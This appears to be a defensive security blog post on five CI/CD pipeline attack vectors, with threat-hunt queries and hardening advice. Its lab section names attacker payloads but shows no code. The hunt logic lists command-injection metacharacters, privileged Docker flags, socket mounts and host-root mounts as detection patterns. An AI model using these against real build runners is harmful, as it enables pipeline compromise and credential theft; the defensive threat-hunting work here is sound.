CI/CD Pipeline Hijacking: 5 Attack Vectors & Threat Hunting

Deconstructing automated build runner exploitation, real-world case studies, hands-on lab telemetry, and actionable threat hunt leads across all 5 attack vectors.

Executive Summary

Modern software relies on automated cloud pipelines (GitHub Actions, GitLab CI, Jenkins) to build and deploy releases. Because build runners hold high-privilege cloud IAM keys, deployment SSH tokens, and publishing credentials, attackers target the CI/CD pipeline to steal secrets, backdoor releases, and compromise downstream targets.

Introduction: From Source Code to Build Engines

In Part 1 of our Software Supply Chain series, we established that modern application security is no longer confined to the code written in-house—it encompasses every third-party component, registry, and dependency that touches the build process. In Part 2, we examined how threat actors compromise public package registries like npm through typosquatting, brandjacking, and maintainer account takeovers to gain initial access to developer workstations.

However, as enterprise engineering teams harden local developer machines and implement automated dependency scanning, adversaries have shifted their focus higher up the supply chain pyramid: directly targeting the automated CI/CD build infrastructure itself.

Continuous Integration and Continuous Delivery (CI/CD) pipelines serve as the automated engine of modern DevOps. Every git push or pull request triggers cloud-hosted or self-hosted runners that compile source code, execute automated unit tests, build container images, and publish deployment artifacts. To perform these operations, build runners are entrusted with the most sensitive secrets in the organization—including production cloud IAM credentials, deployment SSH keys, code-signing certificates, and package registry tokens.

Despite possessing keys to the kingdom, CI/CD runners routinely suffer from a major security asymmetry: while production runtime cloud environments are heavily monitored by modern security tools, build runners are ephemeral, short-lived, and frequently unmonitored. This brief deconstructs how adversaries weaponize CI/CD workflows, presents hands-on lab attack simulations with verified telemetry, and arms threat hunting teams with behavioral detection logic.

The CI/CD Automation Dilemma & GitHub Log Telemetry

• Workflow Trigger Risks: Triggers like pull_request_target execute in the context of the base branch with repository secret access. GitHub Workflow Run Logs (REST API field: event: "pull_request_target" or context field: github.event_name: "pull_request_target") capture external PR triggers before code executes.
• Mutable Action Tag Hijacking: Unpinned marketplace dependencies (uses: author/action@v1) are vulnerable to force-pushed git tags. GitHub Audit Logs (action: "git.push" / action: "git.create_ref" with forced: true and ref: "refs/tags/v1") track tag mutations across repositories.
• Privileged Runner Container Configurations: Misconfigured workflows mounting root Docker sockets (/var/run/docker.sock) or running in privileged mode are audited directly through GitHub Actions Job Definition API (job.container.options).
• Secret Exfiltration & Token Theft: Ephemeral runners dumping secrets or leaking GITHUB_TOKENs are detected via GitHub REST API Audit Logs (action: "git.fetch", actor_ip, token_type: "Installation Token") through anomalous caller IPs and out-of-bounds token usage.
• Build-Time Artifact Tampering: In-memory compiler backdooring is captured at the platform level via GitHub Actions Artifact API through SHA256 digest mismatches (artifact.digest) against git source commit baselines (head_sha).

Five Pipeline Attack Vectors

Real-World Case Studies

• SolarWinds SUNBURST: SUNSPOT malware monitored build servers and replaced source files in MSBuild memory right before compilation, backdooring DLLs for 18,000+ customers.
• Codecov Bash Uploader: Attackers modified Codecov's uploader.sh script to harvest environment variables and cloud keys across thousands of customer CI/CD pipelines.
• GitHub Actions Crypto-Miners: Automated bots submitted malicious PRs to open-source repos to run Monero miners on GitHub runners, consuming massive CPU resources.

Hands-On Lab Simulations & Official GitHub Telemetry Evidence

Vulnerable Workflow Snippet (.github/workflows/pr_review.yml):

 
Attacker PR Title Payload:

Official GitHub Workflow Run API & Context Schema:

Vulnerable Workflow Importing Mutable Action Tag (.github/workflows/deploy.yml):

Official GitHub Enterprise Audit Log Schema:

Vulnerable Workflow Snippet Mounting Host Socket (.github/workflows/container_build.yml):

Official GitHub Actions Job & Step API Schema:

Malicious Postinstall Script inside Compromised Build Dependency:

Official GitHub REST API Audit Log Schema (Post-Exfiltration Token Abuse):

Attacker Background Watcher Payload Running on Runner (.deps/patcher.sh):

Official GitHub Actions Artifact API Schema:

Pipeline Hardening Controls

• Commit SHA Pinning: Pin third-party actions to full commit hashes (uses: action@commit-sha) instead of mutable tags (@v1).
• Least Privilege GITHUB_TOKEN: Explicitly scope workflow token permissions (permissions: contents: read).
• Isolate Insecure Triggers: Replace pull_request_target with pull_request to isolate untrusted PR code from secrets.
• OIDC Keyless Auth: Replace long-lived cloud keys in CI secrets with short-lived 15-minute OIDC cloud tokens.
• Docker Socket Hardening: Restrict socket bind mounts on self-hosted runners; use rootless Docker or Kaniko for container builds.
• Reproducible Build Auditing: Verify compiled binary SHA256 hashes against build logs and git source commit baselines.

Threat Hunter's Spotlight — 5 GitHub Log Hunt Leads

1.Workflow Expression Injection via GitHub Workflow Run Telemetry

Hypothesis: Untrusted fork pull requests trigger pull_request_target workflows, evaluating command separators in dynamically written runner scripts.

Official GitHub Log Query Logic:

• 1. Query GitHub Workflow Run logs where event == "pull_request_target" (or github.event_name == "pull_request_target").
• 2. Filter for runs where head_repository.full_name != repository.full_name AND actor.login is an external contributor.
• 3. Inspect github.event.pull_request.title or step logs for shell metacharacters (;, &&, $()).

Triage: Cross-reference github.event.pull_request.title with step execution logs in the GitHub Actions run output.

2. Poisoned Marketplace Actions & Mutable Tag Force-Pushes

Hypothesis: Threat actors force-push mutable git release tags (@v1) on third-party actions to deploy malicious build setup scripts across downstream pipelines.

Official GitHub Log Query Logic:

• 1. Query GitHub Audit Logs for events where action == "git.push" or action == "git.create_ref".
• 2. Flag events where ref matches refs/tags/* AND forced == true.
• 3. Audit workflow step execution logs for sudden new_sha shifts on mutable action tags.

Triage: Compare the step action commit SHA logged during runner action checkout with the original release SHA baseline.

3. Container Breakout & Docker Socket Abuse via Workflow Definition Audit

Hypothesis: Attackers submit workflows to self-hosted runners mounting /var/run/docker.sock to spawn privileged containers and compromise the host node.

Official GitHub Log Query Logic:

• 1. Audit workflow definition YAML commit logs where job.container.options contains -v /var/run/docker.sock or --privileged.
• 2. Query GitHub Actions job queued events where job.runner_group_name targets self-hosted runner pools.
• 3. Flag job.steps[].name containing docker run -v /:/... or chroot execution lines.

Triage: Inspect container launch options in workflow execution logs for interactive shell or host root mount requests.

4. Ephemeral Token Exfiltration & Anomalous GitHub REST API Usage

Hypothesis: Compromised build steps exfiltrate ephemeral GITHUB_TOKENs, which are subsequently used from foreign attacker infrastructure to access private repos.

Official GitHub Log Query Logic:

• 1. Query GitHub REST API Audit Logs for actions authenticated via token_type == "Installation Token".
• 2. Filter for REST API actions (git.fetch, repo.download_zip, contents.read) where actor_ip is NOT IN official GitHub Hosted Runner IP CIDR ranges.
• 3. Alert on anomalous user_agent strings consuming scoped installation tokens.

Triage: Match the timestamp of workflow_run.id with the actor_ip in GitHub REST API Audit logs.

5. Pre-Compilation Source Tampering & Release Artifact Integrity Mismatches

Hypothesis: Background runner processes tamper with source code files in workspace memory immediately before compilation, backdooring published release artifacts.

Official GitHub Log Query Logic:

• 1. Query GitHub Actions Artifact API for artifact.name and published release asset events.
• 2. Compare artifact.digest SHA256 hashes against expected reproducible build hash baselines derived from workflow_run.head_sha.
• 3. Flag workflow runs where release binary hashes deviate from verified clean test build outputs.

Triage: Re-run the build job in a clean, isolated environment to verify binary hash reproducibility against git source history.

About the Author